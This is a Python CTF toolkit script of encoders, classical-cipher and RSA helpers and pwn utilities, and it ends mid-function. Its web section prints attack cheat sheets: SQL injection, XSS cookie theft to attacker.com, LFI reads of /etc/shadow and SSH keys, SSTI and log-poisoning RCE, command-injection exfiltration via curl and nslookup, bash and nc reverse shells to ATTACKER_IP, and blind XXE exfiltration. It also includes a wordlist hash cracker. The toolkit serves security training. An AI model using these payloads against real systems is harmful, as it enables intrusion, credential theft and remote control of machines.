

```

#!/usr/bin/env python3
"""
CTF Encoder/Decoder Toolkit – Complete Edition
Covers: Cryptography, Web, Pwn, Forensics, Reverse Engineering, OSINT, Misc
Requires: Python 3.8+ | Zero third-party dependencies
"""

import base64
import hashlib
import urllib.parse
import html
import sys
import os
import struct
import string
import itertools
from math import gcd, isqrt

# =====
# COLOR HELPERS
# =====

class C:
    RED      = "\033[91m"
    GREEN    = "\033[92m"
    YELLOW   = "\033[93m"
    BLUE     = "\033[94m"
    MAGENTA  = "\033[95m"
    CYAN     = "\033[96m"
    BOLD     = "\033[1m"
    DIM      = "\033[2m"
    RESET    = "\033[0m"

def ok(msg):
    print(f"\n {C.GREEN}✓ {msg}{C.RESET}")

def err(msg):
    print(f"\n {C.RED}[!] {msg}{C.RESET}")

def info(msg):
    print(f" {C.CYAN}→{C.RESET} {msg}")

def res(label, value):
    print(f" {C.BOLD}{label:<18}{C.RESET}: {C.YELLOW}{value}{C.RESET}")

def tip(msg):
    print(f" {C.DIM}Tip: {msg}{C.RESET}")

def save_prompt(content: str):
    """Offer to save result to a file."""
    ans = input(f"\n {C.DIM}Save to file? (filename or Enter to skip): {C.RESET}")
    if ans:

```

```

        with open(ans, "w") as fh:
            fh.write(content)
        ok(f"Saved to {ans}")

# =====
#  CRYPTOGRAPHY – ORIGINAL (bug-fixed + colored)
#  =====

def base64_tool():
    action = input("  [1] Encode  [2] Decode  [3] Decode URL-safe : ").strip()
    text   = input("  Enter text: ").strip()
    if action == "1":
        res("Standard", base64.b64encode(text.encode()).decode())
        res("URL-safe", base64.urlsafe_b64encode(text.encode()).decode())
        return
    elif action == "2":
        try:
            padded = text + "=" * (-len(text) % 4)
            result = base64.b64decode(padded).decode()
        except Exception:
            return err("Invalid Base64 input")
    elif action == "3":
        try:
            padded = text + "=" * (-len(text) % 4)
            result = base64.urlsafe_b64decode(padded).decode()
        except Exception:
            return err("Invalid URL-safe Base64")
    else:
        return err("Invalid option")
    res("Result", result)
    save_prompt(result)

def base32_tool():
    action = input("  [1] Encode  [2] Decode : ").strip()
    text   = input("  Enter text: ").strip()
    if action == "1":
        result = base64.b32encode(text.encode()).decode()
    elif action == "2":
        try:
            padded = text.upper() + "=" * (-len(text) % 8)
            result = base64.b32decode(padded).decode()
        except Exception:
            return err("Invalid Base32 input")
    else:
        return err("Invalid option")

```

```

    res("Result", result)
    save_prompt(result)

BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

def base58_encode(data: bytes) -> str:
    num = int.from_bytes(data, "big")
    result = ""
    while num > 0:
        num, rem = divmod(num, 58)
        result = BASE58_ALPHABET[rem] + result
    for byte in data:
        if byte == 0: result = BASE58_ALPHABET[0] + result
        else: break
    return result

def base58_decode(s: str) -> bytes:
    num = 0
    for char in s:
        if char not in BASE58_ALPHABET:
            raise ValueError(f"Invalid character: {char}")
        num = num * 58 + BASE58_ALPHABET.index(char)
    result = []
    while num > 0:
        num, rem = divmod(num, 256)
        result.insert(0, rem)
    for char in s:
        if char == BASE58_ALPHABET[0]: result.insert(0, 0)
        else: break
    return bytes(result)

def base58_tool():
    action = input("  [1] Encode  [2] Decode : ").strip()
    text = input("  Enter text: ").strip()
    if action == "1":
        result = base58_encode(text.encode())
    elif action == "2":
        try:
            result = base58_decode(text).decode()
        except Exception as e:
            return err(f"Error: {e}")
    else:
        return err("Invalid option")
    res("Result", result)
    save_prompt(result)

```

```

def hex_tool():
    action = input("  [1] Text→Hex  [2] Hex→Text  [3] Hex→Bytes : ").strip()
    text = input("  Enter text: ").strip().replace(" ", "").replace("0x", "")
    if action == "1":
        h = text.encode().hex()
        res("Hex", h)
        res("Spaced", " ".join(h[i:i+2] for i in range(0, len(h), 2)))
        return
    elif action == "2":
        try:
            result = bytes.fromhex(text).decode()
        except Exception:
            return err("Invalid hex input")
    elif action == "3":
        try:
            raw = bytes.fromhex(text)
            res("Bytes", str(list(raw)))
            res("Int (big)", str(int.from_bytes(raw, "big")))
            return
        except Exception:
            return err("Invalid hex input")
    else:
        return err("Invalid option")
    res("Result", result)
    save_prompt(result)

```

```

def binary_tool():
    action = input("  [1] Text→Binary  [2] Binary→Text : ").strip()
    text = input("  Enter text: ").strip()
    if action == "1":
        result = " ".join(format(ord(c), "08b") for c in text)
    elif action == "2":
        try:
            result = "".join(chr(int(b, 2)) for b in text.split())
        except Exception:
            return err("Invalid binary – use space-separated 8-bit groups")
    else:
        return err("Invalid option")
    res("Result", result)
    save_prompt(result)

```

```

def rot13_tool():
    text = input("  Enter text: ").strip()
    result = text.translate(str.maketrans(

```

```

        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
        "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"
    ))
    res("ROT13", result)
    save_prompt(result)

def caesar_tool():
    text = input(" Enter text to brute force: ").strip()
    target = input(" Filter keyword (blank = show all): ").strip().lower()
    print(f"\n {C.BOLD}All 25 shifts:{C.RESET}")
    lines = []
    for shift in range(1, 26):
        r = ""
        for char in text:
            if char.isalpha():
                base = ord("A") if char.isupper() else ord("a")
                r += chr((ord(char) - base + shift) % 26 + base)
            else:
                r += char
        if not target or target in r.lower():
            marker = f" {C.GREEN}<<{C.RESET}" if target and target in r.lower()
            print(f" Shift {shift:>2}: {r}{marker}")
            lines.append(f"Shift {shift:>2}: {r}")
    save_prompt("\n".join(lines))

def vigenere_tool():
    """Vigenère – polyalphabetic substitution. Key cycles over plaintext."""
    print(f"\n {C.BOLD}Vigenère Cipher{C.RESET}")
    action = input(" [1] Encrypt [2] Decrypt : ").strip()
    text = input(" Enter text : ").strip()
    key = input(" Enter key : ").strip().upper()
    if not key.isalpha():
        return err("Key must contain only letters")
    result, key_idx, encrypt = [], 0, (action == "1")
    for char in text:
        if char.isalpha():
            base = ord("A") if char.isupper() else ord("a")
            shift = ord(key[key_idx % len(key)]) - ord("A")
            if not encrypt: shift = -shift
            result.append(chr((ord(char) - base + shift) % 26 + base))
            key_idx += 1
        else:
            result.append(char)
    out = "".join(result)
    res("Result", out)

```

```

save_prompt(out)

def xor_tool():
    print(f"\n  {C.BOLD}XOR Tool{C.RESET}")
    mode = input("  [1] Text XOR  [2] Hex XOR brute force (single-byte key) : ").
    if mode == "1":
        text = input("  Enter text: ").strip()
        key = input("  Enter key (char or string): ").strip()
        if not key:
            return err("Key cannot be empty")
        key_rep = (key * (len(text) // len(key) + 1))[:len(text)]
        result = "".join(chr(ord(c) ^ ord(k)) for c, k in zip(text, key_rep))
        res("Result (raw)", result)
        res("Result (hex)", result.encode().hex())
    elif mode == "2":
        hex_str = input("  Enter hex ciphertext: ").strip().replace(" ", "")
        try:
            data = bytes.fromhex(hex_str)
        except Exception:
            return err("Invalid hex")
        print(f"\n  {C.BOLD}Brute force (printable results only){C.RESET}")
        for key_byte in range(256):
            plain = bytes([b ^ key_byte for b in data])
            try:
                decoded = plain.decode("ascii")
                ratio = sum(c in string.printable for c in decoded) / len(decoded)
                if ratio > 0.85:
                    kc = chr(key_byte) if 32 <= key_byte < 127 else "?"
                    print(f"  Key {C.YELLOW}0x{key_byte:02x}{C.RESET} ({kc}): {de
            except Exception:
                pass
        else:
            err("Invalid option")

def frequency_analysis():
    """Count letter frequencies to help break substitution ciphers."""
    text = input("  Enter ciphertext: ").strip().upper()
    total = sum(1 for c in text if c.isalpha())
    if total == 0:
        return err("No alphabetic characters found")
    freq = {}
    for c in text:
        if c.isalpha():
            freq[c] = freq.get(c, 0) + 1
    sorted_freq = sorted(freq.items(), key=lambda x: x[1], reverse=True)

```

```

print(f"\n {C.BOLD}Letter frequencies (total: {total}):{C.RESET}")
print(f"  {'Letter':<8}{'Count':<8}{'%':<8}Bar")
print(f"  {'-'*50}")
for char, count in sorted_freq:
    pct = count / total * 100
    bar = f"{C.GREEN}{'█' * int(pct)}{C.RESET}"
    print(f"  {C.YELLOW}{char}{C.RESET}          {count:<8}{pct:<7.1f}% {bar}")
print(f"\n Cipher : {''.join(c for c, _ in sorted_freq)")
print(f" English: ETAOINSHRDLCUMWFGYPBVKJXQZ")
tip("Map the most frequent cipher letters → E, T, A, O, I, N ...")

def rsa_helper():
    """RSA – asymmetric crypto based on integer factorisation difficulty."""
    print(f"\n {C.BOLD}RSA Helper{C.RESET}")
    print("  [1] Compute d from p, q, e")
    print("  [2] Decrypt ciphertext given n, d, c")
    print("  [3] Small-e attack (e=3, cube root)")
    print("  [4] Wiener's attack hint (small d)")
    action = input("  Option: ").strip()

    if action == "1":
        try:
            p, q, e = int(input("    p: ")), int(input("    q: ")), int(input("    e: "))
            n, phi = p * q, (p - 1) * (q - 1)
            if gcd(e, phi) != 1:
                return err("e and phi(n) are not coprime – invalid RSA params")
            d = pow(e, -1, phi)
            res("n", str(n)); res("phi", str(phi)); res("d", str(d))
        except Exception as ex:
            err(f"Error: {ex}")

    elif action == "2":
        try:
            n, d, c = int(input("    n: ")), int(input("    d: ")), int(input("    ciph"))
            m = pow(c, d, n)
            res("Plaintext int", str(m))
        try:
            res("Decoded", m.to_bytes((m.bit_length() + 7) // 8, "big").decode)
        except Exception:
            info("Could not decode to ASCII")
        except Exception as ex:
            err(f"Error: {ex}")

    elif action == "3":
        try:
            c = int(input("    ciphertext (int): "))

```

```

        x = int(round(c ** (1/3)))
        for candidate in range(max(0, x - 2), x + 3):
            if candidate ** 3 == c:
                res("Cube root", str(candidate))
            try:
                res("Decoded", candidate.to_bytes((candidate.bit_length()
except Exception:
                pass
            return
        err("No perfect cube root - attack may not apply here")
except Exception as ex:
    err(f"Error: {ex}")

elif action == "4":
    print(f"""
{C.BOLD}Wiener's Attack - applies when  $d < n^{0.25}$ {C.RESET}
Signal: e is suspiciously large relative to n.

Tools:
    pip install owiener
    import owiener; d = owiener.attack(e, n)

python3 RsaCtfTool.py --publickey pub.pem --attack wiener
    """)
else:
    err("Invalid option")

# =====
#  CRYPTOGRAPHY - NEW ADDITIONS
#  =====

def rot47_tool():
    """ROT47 - rotates ALL printable ASCII (33-126), not just letters."""
    text = input(" Enter text (ROT47 is its own inverse): ").strip()
    result = "".join(
        chr(33 + (ord(c) - 33 + 47) % 94) if 33 <= ord(c) <= 126 else c
        for c in text
    )
    res("ROT47", result)
    save_prompt(result)

def atbash_tool():
    """Atbash - reverse alphabet. A↔Z, B↔Y, etc. Its own inverse."""
    text = input(" Enter text: ").strip()
    result = text.translate(str.maketrans(

```



```

        "ABCDEFGHGIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
        "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba"
    ))
    res("Atbash", result)
    save_prompt(result)

def rail_fence_tool():
    """Rail Fence - zigzag text across N rails then read each rail in order."""
    action = input("  [1] Encrypt  [2] Decrypt : ").strip()
    text = input("  Enter text: ").strip()
    try:
        rails = int(input("  Number of rails: ").strip())
    except ValueError:
        return err("Invalid number of rails")
    if rails < 2:
        return err("Need at least 2 rails")

    n = len(text)

    if action == "1":
        fence = [[] for _ in range(rails)]
        rail, step = 0, 1
        for char in text:
            fence[rail].append(char)
            if rail == 0:          step = 1
            if rail == rails - 1: step = -1
            rail += step
        result = "".join("".join(r) for r in fence)

    elif action == "2":
        pattern = []
        rail, step = 0, 1
        for _ in range(n):
            pattern.append(rail)
            if rail == 0:          step = 1
            if rail == rails - 1: step = -1
            rail += step
        idxs = sorted(range(n), key=lambda i: pattern[i])
        result_arr = [""] * n
        pos = 0
        for i in idxs:
            result_arr[i] = text[pos]; pos += 1
        result = "".join(result_arr)
    else:
        return err("Invalid option")

```

```

res("Result", result)
save_prompt(result)

BACON_MAP = {
    "A": "AAAAA", "B": "AAAAB", "C": "AAABA", "D": "AAABB", "E": "AABAA",
    "F": "AABAB", "G": "AABBA", "H": "AABBB", "I": "ABAAA", "J": "ABAAA",
    "K": "ABAAB", "L": "ABABA", "M": "ABABB", "N": "ABBAA", "O": "ABBAB",
    "P": "ABBBA", "Q": "ABBBB", "R": "BAAAA", "S": "BAAAB", "T": "BAABA",
    "U": "BAABB", "V": "BAABB", "W": "BABAA", "X": "BABAB", "Y": "BABBA", "Z": "BABBB",
}

BACON_REV = {}
for _k, _v in BACON_MAP.items():
    if _v not in BACON_REV: BACON_REV[_v] = _k

def bacon_tool():
    """Bacon cipher – each letter maps to a 5-bit A/B code. I=J, U=V."""
    action = input(" [1] Encode [2] Decode : ").strip()
    text = input(" Enter text: ").strip().upper()
    if action == "1":
        result = " ".join(BACON_MAP.get(c, "?????") for c in text if c.isalpha())
    elif action == "2":
        norm = text.replace("0", "A").replace("1", "B")
        groups = norm.split()
        result = "".join(BACON_REV.get(g, "?") for g in groups)
    else:
        return err("Invalid option")
    res("Result", result)
    tip("I=J and U=V share codes in standard Bacon cipher")
    save_prompt(result)

def base85_tool():
    """Base85/Ascii85 – more compact than Base64; common in PDFs and CTFs."""
    action = input(" [1] Encode Base85 [2] Decode Base85 [3] Encode Ascii85 [4] Decode Ascii85 : ").strip()
    text = input(" Enter text: ").strip()
    try:
        if action == "1": result = base64.b85encode(text.encode()).decode()
        elif action == "2": result = base64.b85decode(text).decode()
        elif action == "3": result = base64.a85encode(text.encode()).decode()
        elif action == "4": result = base64.a85decode(text).decode()
        else: return err("Invalid option")
        res("Result", result)
        save_prompt(result)
    except Exception as e:
        err(f"Error: {e}")

```

```

def affine_tool():
    """Affine cipher -  $E(x) = (ax + b) \bmod 26$ . a must be coprime with 26."""
    print(f"\n {C.BOLD}Affine Cipher{C.RESET}")
    print(" Valid values of a (coprime with 26): 1,3,5,7,9,11,15,17,19,21,23,25")

    def enc(text, a, b):
        out = []
        for c in text:
            if c.isalpha():
                base = ord("A") if c.isupper() else ord("a")
                out.append(chr((a * (ord(c) - base) + b) % 26 + base))
            else: out.append(c)
        return "".join(out)

    def dec(text, a, b):
        a_inv = pow(a, -1, 26)
        out = []
        for c in text:
            if c.isalpha():
                base = ord("A") if c.isupper() else ord("a")
                out.append(chr((a_inv * (ord(c) - base - b) % 26 + base))
            else: out.append(c)
        return "".join(out)

    action = input(" [1] Encrypt [2] Decrypt [3] Brute force : ").strip()
    if action in ("1", "2"):
        try:
            a = int(input(" a: ").strip())
            b = int(input(" b: ").strip())
            if gcd(a, 26) != 1:
                return err("a is not coprime with 26")
            text = input(" Enter text: ").strip()
            result = enc(text, a, b) if action == "1" else dec(text, a, b)
            res("Result", result); save_prompt(result)
        except Exception as e: err(f"Error: {e}")
    elif action == "3":
        text = input(" Enter ciphertext: ").strip()
        target = input(" Filter keyword (blank = show all): ").strip().lower()
        valid_a = [a for a in range(1, 26) if gcd(a, 26) == 1]
        print(f"\n {C.BOLD}Brute force:{C.RESET}")
        for a in valid_a:
            for b in range(26):
                try:
                    result = dec(text, a, b)
                    if not target or target in result.lower():
                        marker = f" {C.GREEN}<<{C.RESET}" if target and target i

```

```

        print(f" a={a:>2} b={b:>2}: {result}{marker}")
    except Exception:
        pass
else:
    err("Invalid option")

def columnar_tool():
    """Columnar transposition – write in rows under key, read columns in alphabet
    action = input(" [1] Encrypt [2] Decrypt : ").strip()
    text = input(" Enter text (spaces will be removed): ").strip().replace(" "
    key = input(" Enter key: ").strip().upper()
    cols = len(key)
    order = sorted(range(cols), key=lambda i: key[i])

    if action == "1":
        padded = text + "X" * (-len(text) % cols)
        rows = [padded[i:i+cols] for i in range(0, len(padded), cols)]
        result = "".join("".join(row[o] for row in rows) for o in order)

    elif action == "2":
        n_rows = (len(text) + cols - 1) // cols
        extras = len(text) % cols
        # Columns have n_rows rows; short columns (those beyond extras) have n_ro
        col_lengths = []
        for i in range(cols):
            real_col = order.index(i)
            if extras == 0:
                col_lengths.append(n_rows)
            else:
                col_lengths.append(n_rows if real_col < extras else n_rows - 1)
        col_data = {}
        pos = 0
        for o in order:
            length = col_lengths[o]
            col_data[o] = text[pos:pos+length]
            pos += length
        result = "".join(col_data[c][r] for r in range(n_rows) for c in range(cols)
                           if r < len(col_data[c]))
    else:
        return err("Invalid option")

res("Result", result)
tip("Trailing X's are padding – strip if needed")
save_prompt(result)

```

```

def hash_cracker():
    """Wordlist attack against a given hash – pure Python stdlib."""
    print(f"\n {C.BOLD}Hash Cracker {C.RESET}")
    target = input(" Target hash: ").strip().lower()
    wordlist = input(" Wordlist [default: /usr/share/wordlists/rockyou.txt]: ").
    if not wordlist:
        wordlist = "/usr/share/wordlists/rockyou.txt"
    if not os.path.exists(wordlist):
        return err(f"Wordlist not found: {wordlist}")

    mode_map = {32:"md5", 40:"sha1", 56:"sha224", 64:"sha256", 96:"sha384", 128:"
    mode = mode_map.get(len(target))
    if not mode:
        mode = input(" Hash type (md5/sha1/sha256/sha512): ").strip().lower()

    info(f"Detected type: {mode} | Cracking... (Ctrl+C to stop)")
    try:
        with open(wordlist, "r", encoding="latin-1") as wf:
            for i, line in enumerate(wf):
                word = line.strip()
                h = hashlib.new(mode, word.encode()).hexdigest()
                if h == target:
                    ok(f"CRACKED → {C.BOLD}{word}{C.RESET}")
                    return
                if i % 100_000 == 0 and i > 0:
                    print(f" {C.DIM}{i:,} words tried...{C.RESET}", end="\r")
            err("Password not found in wordlist")
    except KeyboardInterrupt:
        print(); info("Stopped by user")
    except Exception as e:
        err(f"Error: {e}")

```

```

POLYBIUS = {
    "A": (1,1), "B": (1,2), "C": (1,3), "D": (1,4), "E": (1,5),
    "F": (2,1), "G": (2,2), "H": (2,3), "I": (2,4), "J": (2,4),
    "K": (2,5), "L": (3,1), "M": (3,2), "N": (3,3), "O": (3,4),
    "P": (3,5), "Q": (4,1), "R": (4,2), "S": (4,3), "T": (4,4),
    "U": (4,5), "V": (5,1), "W": (5,2), "X": (5,3), "Y": (5,4), "Z": (5,5),
}
POLYBIUS_REV = {v: k for k, v in POLYBIUS.items() if k != "J"}

```

```

def polybius_tool():
    """Polybius square – each letter → (row, col) coordinate pair. I=J."""
    action = input(" [1] Encode [2] Decode : ").strip()
    text = input(" Enter text: ").strip().upper()
    if action == "1":

```

```

        result = "".join(
            f"{POLYBIUS[c][0]}{POLYBIUS[c][1]}" if c in POLYBIUS else ""
            for c in text if c.isalpha()
        )
    elif action == "2":
        digits = [c for c in text if c.isdigit()]
        pairs = [(int(digits[i]), int(digits[i+1])) for i in range(0, len(digits)
            result = "".join(POLYBIUS_REV.get(p, "?") for p in pairs)
    else:
        return err("Invalid option")
    res("Result", result)
    tip("I and J share coordinate (2,4)")
    save_prompt(result)

# =====
# WEB - ORIGINAL (colored)
# =====

def url_tool():
    action = input(" [1] Encode [2] Decode [3] Encode all chars : ").strip()
    text = input(" Enter text: ").strip()
    if action == "1": result = urllib.parse.quote(text, safe="")
    elif action == "2": result = urllib.parse.unquote(text)
    elif action == "3": result = "".join(f"%{b:02X}" for b in text.encode())
    else: return err("Invalid option")
    res("Result", result); save_prompt(result)

def html_tool():
    action = input(" [1] Encode [2] Decode : ").strip()
    text = input(" Enter text: ").strip()
    if action == "1": result = html.escape(text)
    elif action == "2": result = html.unescape(text)
    else: return err("Invalid option")
    res("Result", result); save_prompt(result)

def jwt_tool():
    """JWT - header.payload.signature. Look for alg:none, weak secrets, RS→HS con
    import json
    print(f"\n {C.BOLD}JWT Decoder{C.RESET}")
    token = input(" Paste JWT: ").strip()
    parts = token.split(".")
    if len(parts) != 3:
        return err("Invalid JWT (expected header.payload.signature)")
    def decode_part(p):

```

```

        padded = p + "=" * (-len(p) % 4)
        try:
            return base64.urlsafe_b64decode(padded).decode()
        except:
            return f"[raw: {base64.urlsafe_b64decode(padded).hex()}]"
    res("Header", decode_part(parts[0]))
    res("Payload", decode_part(parts[1]))
    res("Signature", parts[2])
    print(f"\n {C.BOLD}--- CTF Tricks ---{C.RESET}")
    info("alg:none → set alg to 'none', strip signature, keep trailing dot")
    info(f"None token: {parts[0]}.{parts[1]}.")
    try:
        header = json.loads(decode_part(parts[0]))
        if header.get("alg", "").upper().startswith("RS"):
            info("RS→HS confusion: sign with RSA public key as HMAC secret")
    except Exception:
        pass

def sql_i_cheatsheet():
    print(f"""
{C.BOLD}┌───────────────────────────────────────────────────────────────────────────────────┐
│                               SQL INJECTION CHEATSHEET                               │
└───────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}DETECTION{C.RESET}
'          → syntax error?
' OR '1'='1  → always true (bypass login)
' OR '1'='2  → always false (compare responses)

{C.YELLOW}COMMENT STYLES{C.RESET}
MySQL: -- - # /**/      MSSQL/SQLite: --

{C.YELLOW}UNION-BASED (enumerate columns first){C.RESET}
' ORDER BY 1--          (increment until error)
' UNION SELECT NULL,NULL--
' UNION SELECT table_name,2 FROM information_schema.tables--
' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name
' UNION SELECT username,password FROM users--

{C.YELLOW}BLIND BOOLEAN{C.RESET}
' AND 1=1-- (true)      ' AND 1=2-- (false)
' AND SUBSTR(password,1,1)='a'--

{C.YELLOW}BLIND TIME-BASED{C.RESET}
MySQL: ' AND SLEEP(5)--      MSSQL: '; WAITFOR DELAY '0:0:5'--

{C.YELLOW}FILTER BYPASS{C.RESET}
Space → /**/ %09 %0a      OR → ||      AND → &&      = → LIKE
Quotes → CHAR(39) or 0x27

```

```
"""
```

```
def xss_cheatsheet():
    print(f"""
{C.BOLD}┌───────────────────────────────────────────────────────────────────────────────────┐
│                                                                                       │
│                               XSS CHEATSHEET                                         │
│                                                                                       │
└───────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}BASIC PAYLOADS{C.RESET}
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    "><script>alert(1)</script>

{C.YELLOW}FILTER BYPASS{C.RESET}
    Case:      <ScRiPt>alert(1)</ScRiPt>
    Entities:  <img src=x onerror=&#97;&#108;&#101;&#114;&#116;;(1)>
    Double enc: %253Cscript%253E
    Unicode:   <img src=x onerror=\\u0061llert(1)>

{C.YELLOW}COOKIE STEALING{C.RESET}
    document.location='http://attacker.com?c='+document.cookie
    fetch('http://attacker.com?c='+btoa(document.cookie))

{C.YELLOW}CSP BYPASS{C.RESET}
    Check for unsafe-inline, unsafe-eval, CDN whitelist abuse
    JSONP endpoints on whitelisted domains
""")
```

```
# ════════════════════════════════════════════════════════════════════════════════════
#  WEB — NEW ADDITIONS
# ════════════════════════════════════════════════════════════════════════════════════
```

```
def lfi_cheatsheet():
    print(f"""
{C.BOLD}┌───────────────────────────────────────────────────────────────────────────────────┐
│                               LFI / PATH TRAVERSAL CHEATSHEET                         │
└───────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}BASIC TRAVERSAL{C.RESET}
    ../../../../etc/passwd
    ....//....//etc/passwd          (filter bypass: ../ stripped once)
    ..%2F..%2F..%2Fetc%2Fpasswd      (URL encoded)
    ..%252F..%252Fetc%252Fpasswd     (double URL encoded)
    /etc/passwd%00                   (null byte — PHP < 5.3.4)

{C.YELLOW}LINUX FILES TO READ{C.RESET}
```



```

/etc/passwd          → user accounts
/etc/shadow          → hashes (needs root)
/proc/self/environ   → env vars (may leak secrets)
/proc/self/cmdline   → running process args
/var/log/apache2/access.log → log poisoning target
~/.ssh/id_rsa        → SSH private key!
/var/www/html/config.php → app config / DB creds

{C.YELLOW}PHP FILTER WRAPPERS (read PHP source){C.RESET}
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=config.php
php://input          → POST body as file (RCE)
data://text/plain,<?php system($_GET['cmd']);?>

{C.YELLOW}LOG POISONING → RCE{C.RESET}
1. Inject PHP into User-Agent header:
    curl -A '<?php system($_GET[cmd]); ?>' http://target/
2. Include the poisoned log:
    ?page=../../../../../../var/log/apache2/access.log&cmd=id

{C.YELLOW}WINDOWS{C.RESET}
..\..\..\..\windows\system32\drivers\etc\hosts
C:\xampp\htdocs\config.php
"""

def ssti_cheatsheet():
    print(f"""
{C.BOLD}| _____|
| SERVER-SIDE TEMPLATE INJECTION (SSTI) |
| _____|{C.RESET}
{C.YELLOW}DETECTION – inject math, look for evaluated output{C.RESET}
{{{7*7}}}          → 49    (Jinja2 / Twig)
${{7*7}}           → 49    (Freemarker / Pebble)
#{{7*7}}           → 49    (Velocity)
{{7*7}}            → 49    (Go templates)

{C.YELLOW}JINJA2 (Python / Flask) – most common in CTFs{C.RESET}
{{{config}}}}      → dump app config (may show SECRET_KEY)
{{{['__class__','__mro__']}}} → find class hierarchy
{{{['__class__','__mro__[1].__subclasses__()']}}} → list all classes (find i

RCE (replace N with index of subprocess.Popen):
{{{['__class__','__mro__[1].__subclasses__()[N]('id',shell=True,stdout=-1).co

Simpler RCE (loose sandbox):
{{{config.__class__.__init__.__globals__['os'].popen('id').read()}}}}

```

```
{C.YELLOW}TWIG (PHP) {C.RESET}
    {{{{{_self.env.registerUndefinedFilterCallback("exec")}}}} {{{{{_self.env.getFil

{C.YELLOW}FREEMARKER (Java) {C.RESET}
    <#assign ex="freemarker.template.utility.Execute"?new()>${{ex("id")}}

{C.YELLOW}WORKFLOW{C.RESET}
    1. Find reflected input → inject {{{{{7*7}}}}}
    2. Confirm engine from output / error messages
    3. Use engine-specific RCE payload
    4. cat /flag or find / -name flag* 2>/dev/null
""")
```

```
def cmdi_cheatsheet():
    print(f"""
{C.BOLD}┌──────────────────────────────────────────────────────────────────────────────────┐
│                                COMMAND INJECTION CHEATSHEET                                │
└──────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}BASIC SEPARATORS{C.RESET}
; id          → sequential (always runs)
&& id         → runs if first succeeds
|| id         → runs if first fails
| id          → pipe
`id`          → backtick (bash)
$(id)         → subshell

{C.YELLOW}BLIND — NO OUTPUT{C.RESET}
Time-based:   ; sleep 5
DNS exfil:    ; nslookup $(id).attacker.com
HTTP exfil:   ; curl http://attacker.com/?data=$(cat /flag | base64)

{C.YELLOW}FILTER BYPASS{C.RESET}
Spaces: $IFS or {{a}} or %09
Slash:  ${{HOME:0:1}} evaluates to /
cat:    c${{0}}at or ca''t
Quotes: "i"d or i\\'d

{C.YELLOW}REVERSE SHELLS{C.RESET}
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
nc -e /bin/bash ATTACKER_IP 4444
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",POR

{C.YELLOW}LISTENER{C.RESET}
nc -lvnp 4444
rlwrap nc -lvnp 4444      (arrow keys / history support)
```

```
""")
```

```
def xxe_cheatsheet():
    print(f"""
{C.BOLD} | _____ |
|          XML EXTERNAL ENTITY (XXE) CHEATSHEET          |
| _____ | {C.RESET}

{C.YELLOW}BASIC – read local file{C.RESET}
    <?xml version="1.0"?>
    <!DOCTYPE root [
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>&xxe;</root>

{C.YELLOW}SSRF – reach internal services{C.RESET}
    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

{C.YELLOW}BLIND XXE – out-of-band exfiltration{C.RESET}
    Host evil.dtd on attacker server:
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file
        %eval; %exfil;

    Payload in request:
        <!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;

{C.YELLOW}TIPS{C.RESET}
    Change Content-Type to application/xml in Burp
    Try SVG upload: <svg xmlns="http://www.w3.org/2000/svg">...XXE...</svg>
""")
```

```
# =====
# PWN – ORIGINAL (colored + BUG FIXED in cyclic_pattern)
# =====
```

```
def cyclic_pattern():
    """De Bruijn pattern – every 4-byte subsequence is unique. Find overflow offs
    print(f"\n {C.BOLD}Cyclic Pattern Generator (De Bruijn){C.RESET}")
    print(" [1] Generate pattern [2] Find offset from register value")
    action = input(" Option: ").strip()

    chars = string.ascii_lowercase
    def de_bruijn(k, n):
        alphabet = list(k); a = [0] * len(alphabet) * n; sequence = []
        def db(t, p):
```

```

        if t > n:
            if n % p == 0: sequence.extend(a[1:p+1])
        else:
            a[t] = a[t-p]; db(t+1, p)
            for j in range(a[t-p]+1, len(alphabet)):
                a[t] = j; db(t+1, t)
    db(1, 1); return sequence

if action == "1":
    try:
        length = int(input(" Pattern length (e.g. 200): ").strip())
        seq = de_bruijn(chars, 4)
        pattern = ("".join(chars[i] for i in seq) * 2)[:length]
        res("Pattern", pattern)
        save_prompt(pattern)
    except Exception as ex: err(f"Error: {ex}")

elif action == "2":
    try:
        val = input(" Hex value from register (e.g. 0x61616162): ").strip()
        val = val.replace("0x", "").replace("0X", "")
        raw = bytes.fromhex(val)

        # — BUG FIX: generate once, search correctly per endianness —
        seq = de_bruijn(chars, 4)
        pattern = ("".join(chars[i] for i in seq) * 2)
        found = False

        # Big-endian: bytes appear in pattern order
        idx_be = pattern.find(raw.decode("latin-1"))
        if idx_be != -1:
            res("Offset (big-endian)", str(idx_be)); found = True

        # Little-endian (x86/x64): register stores bytes in reverse order
        idx_le = pattern.find(raw[::-1].decode("latin-1"))
        if idx_le != -1:
            res("Offset (little-endian / x86)", str(idx_le)); found = True

        if not found:
            err("Value not found — make sure you generated the pattern first")
            tip("On x86, EIP value bytes are stored reversed (little-endian)")
    except Exception as ex: err(f"Error: {ex}")
else:
    err("Invalid option")

def format_string_helper():

```

```

    print(f"""
{C.BOLD} | _____ |
|          FORMAT STRING VULNERABILITY          |
|_____| {C.RESET}

{C.YELLOW}HOW IT WORKS{C.RESET}
    printf(buf)          ← VULNERABLE (buf used as format string)
    printf("%s", buf)    ← SAFE

{C.YELLOW}FIND YOUR STACK OFFSET{C.RESET}
    Send: AAAA%p%p%p%p%p%p%p%p%p
    Look for 0x41414141 in output – that position = N
